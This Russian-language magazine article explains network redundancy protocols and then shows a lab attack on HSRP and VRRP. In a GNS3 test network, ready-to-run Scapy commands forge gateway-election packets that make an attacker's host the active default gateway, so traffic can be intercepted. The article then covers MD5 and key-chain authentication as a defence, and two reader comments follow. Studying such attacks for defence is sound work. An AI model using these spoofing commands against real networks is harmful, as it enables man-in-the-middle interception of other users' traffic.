Эффективным средством защиты от сбоев служит построение отказоустойчивых решений. Особенно это актуально там, где малейший простой может обернуться серьезными потерями. Чтобы такого не случилось, были разработаны специальные протоколы: всем известный STP, разнообразные протоколы агрегации каналов, протоколы, обеспечивающие отказоустойчивость шлюза по умолчанию. Однако, концентрируясь на этом свойстве, очень часто упускают из виду безопасность. Чем может обернуться отказоустойчивость шлюза по умолчанию? Давай разберемся!

featured_protokoli_otkaz

 

WARNING!

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Отказоустойчивость

Как гласит определение, отказоустойчивость — это свойство технической системы сохранять свою работоспособность после отказа одного или нескольких составных компонентов. Представь ситуацию, когда из сети существует один-единственный выход во внешний мир и этот выход является шлюзом по умолчанию. Тогда в случае его падения уже ничто не поможет — неважно будет, насколько качественно спроектирована сеть, клиенты просто не смогут выйти за пределы своей подсети. Именно такие проблемы и призваны решать протоколы отказоустойчивости. Но у них есть свои нюансы, которые могут стать серьезной угрозой для безопасности системы. Поэтому в рамках данной статьи мы коротко коснемся основных видов отказоустойчивости и остановим свое пристальное внимание на безопасности протоколов HSRP и VRRP, призванных обеспечить безотказную работу шлюза по умолчанию. Поехали!

STP

Рассматривать различные виды отказоустойчивости начнем с канального уровня модели OSI. На канальном уровне находится известнейший протокол Spanning Tree. STP просто предотвращает возникновение петель в сети. Если кадр канального уровня приходит на коммутатор, а у того нет в САМ-таблице МАС-адреса получателя, он отправляет фрейм на все свои порты в надежде, что хоть кто-то сможет на него ответить. В среде с одним свичем на этом все и заканчивается, а вот если свичей несколько, то могут быть нюансы. Этот кадр может уходить на все порты на каждом коммутаторе, и в случае наличия петли этот процесс может повторяться бесконечно. STP определяет так называемый root bridge (центр сети, куда сходится все дерево STP) и создает единый путь без петель между всеми коммутаторами. Стоимость пути определятся алгоритмом, основанным на количестве переходов и скорости порта, но может быть легко переназначена вручную. В итоге с единым путем к каждому мосту в сети кадры к неизвестным адресатам проходят каждый свитч один раз и затем отбрасываются, если хост-получатель оказался не в сети.

Казалось бы, при чем здесь отказоустойчивость? В случае отказа канала коммутатор обнаруживает проблему и поднимает резервный линк. На самом деле это не такой уж и простой процесс, но тема сегодняшнего разговора не STP, поэтому не будем сильно углубляться и двинемся дальше.

EtherСhannel

Также на канальном уровне обеспечивает отказоустойчивость EtherСhannel/LACP/PAgP. По сути, это взятие нескольких физических линков и агрегирование их в один логический.

Простейший вариант достижения отказоустойчивости на уровне одиночного порта и на уровне одиночного канала. EtherСhannel собирается ради надежности, увеличение скорости — это уже побочный эффект.

Достаточно распространено заблуждение, что с увеличением каналов увеличивается пропускная способность. Мол, берем четыре канала, 4 · 100 — получаем 400 Мбит/c. Но в реальности дела обстоят несколько иначе. Просто для каждого источника и назначения выбирается путь, условно говоря, трафик от хоста А до хоста Б будет идти по одному линку, а трафик от хоста А до С может идти по другому. В итоге если взять четыре линка, то для четырех одновременных соединений может быть доступно 100 Мбит/c.

Но возможны сценарии, когда скорость никак не поднимется, — например, два мощных сервера смотрят несколькими линками в коммутатор и передают в пределах одной TCP-сессии большой объем данных. В этом случае, независимо от количества каналов, использоваться будет только один линк и никакого увеличения скорости не будет.

NIC teaming

NIC teaming, или агрегирование сетевых адаптеров, — это отказоустойчивость на аппаратном уровне для серверов. Обычно решается установкой дополнительных драйверов, созданием виртуального сетевого адаптера и затем добавлением физического сетевого адаптера для создания агрегации (team).

В большинстве случаев такая агрегация работает как пара активный/пассивный, и пассивный сетевой адаптер включается работу в случае потери канала активным. Но здесь могут быть и нюансы, когда поддерживается стандарт 802.3ad. Тогда уже может включаться балансировка, как и в случае EtherChannel.

HSRP & VRRP

Ну а на третьем уровне модели OSI обитают протоколы HSRP и VRRP. Они-то и обеспечивают отказоустойчивость на сетевом уровне. Если шлюз по умолчанию (в пределах одной подсети) уйдет в офлайн, тогда ни один хост в этой подсети не сможет получить доступ за пределами своего сегмента. Эти два протокола (HSRP и VRRP) призваны настроить дополнительный маршрутизатор (или L3-свитч), который выступит в роли резервного на случай падения основного. Если основной шлюз станет недоступен, то его сразу подменит резервный и клиенты даже не заметят, что что-то произошло.

Кроме отказоустойчивости, эти протоколы помогут решить задачи по обновлению железа и софта с минимальным влиянием на клиентов в обычное рабочее время. Самые известные протоколы, которые входят в эту группу, — HSRP, VRRP и GLBP. HSRP (Hot Standby Router Protocol) существует уже достаточно давно (c 1994 года) и является проприетарным решением от Cisco. VRRP (Virtual Router Redundancy Protocol) — это открытый протокол (появился в 1999-м), текущая его версия определена в RFC 5798. Несмотря на то что этот протокол позиционируется как открытый стандарт, компания Cisco говорит, что похожий протокол был запатентован и лицензирован. И хотя никаких патентных претензий не было, открытость VRRP остается под сомнением. Ну и GLBP (Gateway Load Balancing Protocol), относительно свежий протокол (создан Cisco для Cisco в 2005 году), как можно догадаться из названия, отличается от предыдущих тем, что кроме отказоустойчивости поддерживает и балансировку нагрузки.

Ну а сегодня мы подробно рассмотрим протокол HSRP, причем особое внимание уделим его безопасности.

Как работает HSRP

HSRP может работать для двух и более маршрутизаторов (шлюзов), один из которых будет активный, один standby, а остальные будут просто ожидающими. Надо сказать, что протокол этот не особо масштабируемый. Сделано это и потому, что если активный маршрутизатор забросают пакетами с вопросом, живой ли он, то он наверняка упадет именно по этой причине. MAC-адрес активного генерируется автоматически, а виртуальный IP-адрес назначается вручную. В итоге тот, кто стал активным, отзывается на ARP-запросы про виртуальный IP, отправляя ARP-ответ с виртуальным маком.

Если standby-роутер не видит активный заданное время (в зависимости от настроек таймеров), то он объявляет себя активным и начинает отвечать. Для таких проверок используются hello- пакеты, отправляемые по мультикаст-адресу 224.0.0.2. Стоит отметить также, что HSRP второй и первой версии технически несовместимы, так как трафик у них ходит по разным IP-адресам (см. врезку). На этом, пожалуй, закончим с теорией и перейдем к делу.

Собираем топологию

Рис. 1. Тестовая топология
Рис. 1. Тестовая топология
 

Виртуальная лаборатория

Для того чтобы опробовать все описанное в статье, вовсе не обязательно использовать настоящее оборудование. Для исследований вполне можно обойтись и эмулятором маршрутизаторов Cisco, например используя GNS3/Dynamips.

Сам GNS3 является, по сути, удобной графической оболочкой над непосредственно эмулятором Dynamips. Распространяются они бесплатно, под лицензией GPL, но, естественно, без прошивок роутеров Cisco — подразумевается, что пользователи будут их брать со своих железных роутеров.

Немного ознакомившись, что собой представляет HSRP-протокол, начнем собирать стенд для предстоящих испытаний. R1 будет основным HSRP-роутером, а R2 — резервным (см. рис. 1).

И сконфигурируем их следующим образом. На маршрутизаторе R1:

interface FastEthernet0/0
ip adress 192.168.10.252 255.255.255.0
standby 10 priority 80
standby 10 ip 192.168.10.254

На маршрутизаторе R2:

interface FastEthernet0/0
ip address 192.168.10.253 255.255.255.0
standby 10 ip 192.168.10.254
standby 10 preempt

После назначения IP-адреса на каждом из устройств нужно войти в группу HSRP standby с выбранным номером. Номер, естественно, должен быть одинаковый в пределах группы. Кроме того, от номера группы генерируется виртуальный МАС-адрес. После этого нужно вручную задать общий виртуальный IP-адрес. Оба этих действия выполняются одной командой: standby <номер группы> ip <виртуальный ip-адрес>.

Когда мы будем проверять статус HSRP на R1, будет видно, что HSRP содержит виртуальный MAC-адрес, отличающийся от реального физического и сгенерированный с учетом номера группы (0000:0с07:acXX, где номер группы 10 превращается в 0x0a и дописывается вместо XX).

R1#show standby br
Interface Grp Pri P State Active Standby Virtual IP
Fa0/0 10 100 P Active local 192.168.10.252 192.168.10.254

R1#show standby
FastEthernet0/0 - Group 10
State is Active
2 state changes, last state change 00:02:27
Virtual IP address is 192.168.10.254
Active virtual MAC address is 0000.0c07.ac0a
Local virtual MAC address is 0000.0c07.ac0a (v1 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 2.632 secs
Preemption enabled
Active router is local
Standby router is 192.168.10.252, priority 80 (expires in 7.692 sec)
Priority 100 (default 100)
Group name is "hsrp-Fa0/0-10" (default)

Убедившись, что все работает (R1 числится как Active), можно начать исследование вопросов безопасности протокола HSRP.

Исследуем цель

Для начала давай проснифаем трафик на предмет интересных пакетов. Предположим, что мы находимся в пределах одного широковещательного домена. Результат такого сканирования представлен на рис. 2.

Рис. 2. Пакеты HSRP
Рис. 2. Пакеты HSRP

Как оказалось, вся информация передается чистым текстом, более того, несмотря на то что в настройках не устанавливался какой-либо пароль, он все-таки используется, и, как видно, по умолчанию (cisco). Теперь, когда мы знаем номер группы HSRP и ключевое слово, ничто не мешает нам провести атаку.

Для того чтобы провести атаку на протокол HSRP, можно как использовать специализированные утилиты вроде yersinia, так и действовать вручную, при помощи отличного инструмента под названием Scapy. Мы свой выбор остановим, конечно же, на втором варианте. Действовать будем прямо в интерактивном режиме, запускаем и начинаем назначать переменные:

>>> ip = IP(ttl=1, src='192.168.10.200', dst='224.0.0.2')
>>> udp = UDP(sport=1985, dport=1985)

Сразу создали переменные по протоколам IP и UDP, не забывая, что пакеты HSRP ходят по мультикасту. Перед тем как собрать HSRP, не помешает посмотреть, какие вообще есть в нем опции:

>>> HSRP().show()
###[ HSRP ]###
version= 0
opcode= Hello
state= Active
hellotime= 3
holdtime= 10
priority= 120
group= 1
reserved= 0
auth= 'cisco'
virtualIP= 192.168.1.1

Видно, что большинство параметров (в том числе и пароль) уже заполнены разработчиками, нам остается заполнить только несколько:

>>> hsrp=HSRP(group=10, priority=200, virtualIP='192.168.10.254')

Все готово, пакет можно окончательно собрать и отправить в путь:

send(ip/udp/hsrp, iface='eth0', inter=3, loop=1)

В данном случае пакеты будут отправляться каждые три секунды, через интерфейс eth0, до тех пор пока это действие не будет прервано (например, escape-последовательностью ^C).

Результаты атаки

Как только пакеты начнут разлетаться на мультикаст-адрес, легитимные роутеры сразу же сменят свои статусы (см. рис. 3), а маршрутизатор атакующего станет активным и собственно главным. Что уже, безусловно, предоставит массу возможностей атакующему — фактически весь трафик начнет проходить через него. Теперь уже лишь бы хватило мощности и пропускной способности.

Рис. 3. Реакция маршрутизаторов
Рис. 3. Реакция маршрутизаторов

Даже если на обоих настоящих роутерах установить произвольный пароль командой standby 10 authentication text, то и это не особо поможет. Снифер все так же покажет ключевое слово, которое легко прописать в Scapy и получить такой же успешный результат.

Для того чтобы все вернуть на круги своя, нужно просто прервать бесконечную отправку пакетов, и после истечения таймеров роутеры восстановят свои заданные роли.

Бронебойная защита

Тем не менее дела с безопасностью HSRP обстоят не так уж и плохо. Существует возможность использовать MD5-хеширование. MD5-хеш вычисляется в каждом HSRP-пакете, и секретный ключ известен только легитимным участникам группы HSRP. Строка с MD5-хешем отправляется в каждом пакете; как только пакет получен, участники пересчитывают хеш, и если значение совпадает, то сообщение принимается. Сложность проведения атаки в таких условиях в том, что хеш используется не в качестве ключа, а для проверки подлинности сообщения.

Включить использование MD5-хеширования можно следующей командой:

 standby group authentication md5 key-string strongPASSWORD

Но можно пойти дальше и использовать не key-string, а key-chain. В итоге создается связка из нескольких ключей, которая затем привязывается к экземпляру HSRP и поочередно меняется. В таком случае защита серьезно усиливается, так как нужно знать все пароли в связке и расположить их в правильном порядке, потому что HSRP будет в цикле перебирать пароли по номеру и периодически их запрашивать.

Рис. 4. Пример HSRP с использованием MD5
Рис. 4. Пример HSRP с использованием MD5
 

INFO

К слову, не так давно появились изменения в модуле Scapy, и теперь он умеет разбирать пакеты HSRP, где используется MD5 (даже Wireshark в стандартном варианте этого не умеет).

VRRP, кратко

Если бегло рассмотреть VRRP, то здесь все очень похоже. Вначале конфигурация, опять все очень просто. На R1:

interface FastEthernet0/0
ip address 192.168.10.252 255.255.255.0
vrrp 10 ip 192.168.10.254
vrrp 10 priority 200

На R2:

interface FastEthernet0/0
ip address 192.168.10.253 255.255.255.0
vrrp 10 ip 192.168.10.254

Как можно заметить, основные отличия здесь в синтаксисе команд.

Рис. 5. Пакет VRRP
Рис. 5. Пакет VRRP

Затем опять включаем в работу снифер (см. рис. 5) — в пакете видно Virtual Rtr ID: 10 и Auth Type: No Authentication (0).

И запускаем Scapy.

>>> VRRP().show()
###[ VRRP ]###
version= 2
type= 1
vrid= 1
priority= 100
ipcount= None
authtype= 0
adv= 1
chksum= None
addrlist= []
auth1= 0
auth2= 0
>>> 

Осталось только заполнить нужные поля. Из основных отличий — мультикаст-адрес уже будет другой, вместо 224.0.0.2 теперь нужно использовать 224.0.0.18. И вместо group=10 будетvrid=10. Ну и естественно, UDP уже не нужен. В итоге получаем:

>>> ip = IP(ttl=255, src='192.168.10.200', dst='224.0.0.18')
>>> vrrp=VRRP(vrid=10, priority=210, addrlist='192.168.10.254')
>>> send(ip/vrrp, iface='eth0', inter=3, loop=1)

И проверяем результат.

Рис. 6. VRRP после атаки
Рис. 6. VRRP после атаки
R1#sh vrrp br
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              10  200 3218       Y  Backup  192.168.10.200  192.168.10.254

Как видишь, тут тоже все прошло успешно.

 

HSRPv1 vs HSRPv2

Основные отличия между первой и второй версией протокола HSRP проявляются в следующем.

Multicast-адрес:

  • в HSRPv1 используется адрес 224.0.0.2;
  • в HSRPv2 используется адрес 224.0.0.102.

Количество групп:

  • в HSRPv1 до 255 групп;
  • в HSRPv2 до 4096.

Виртуальный MAC-адрес (где x — номер группы HSRP):

  • в HSRPv1 0000:0C07:ACxx;
  • в HSRPv2 0000:0C9F:Fxxx.

Итоги

Протоколы обеспечения отказоустойчивости, или, как их еще называют, FHRP (First Hop Redundancy Protocol), достаточно широко распространены и неплохо делают свою работу. Но при их использовании редко уделяют должное внимание вопросам безопасности. Как ты видел, настройка занимает буквально две-три команды, и все начинает работать. Но при этом остается большая дыра и широкий простор для злоумышленников. Надеюсь, после прочтения данной статьи, что бы ты ни делал, какое бы оборудование ни настраивал, ты всегда будешь оценивать производимые действия с точки зрения безопасности. Будь начеку!

2 комментария

  1. 23.07.2014 at 13:13

    Автор полагает, что взломщик сможет подсоединиться напрямую к уровню агрегации, что очень сомнительно.

    Легко избежать поставив приоритет 255.

    А так достаточно интересно, можно потестить на сетке.

  2. 04.02.2015 at 17:29

    Автор — мудак. В HSRP наибольший приоритет у активного маршрутизитора. Ксакеп уже давнооо не тот…

Оставить мнение

Check Also

Как работает Linux: от нажатия кнопки включения до рабочего стола

Лучший способ понять, как работает операционная система, — это проследить поэтапно ее загр…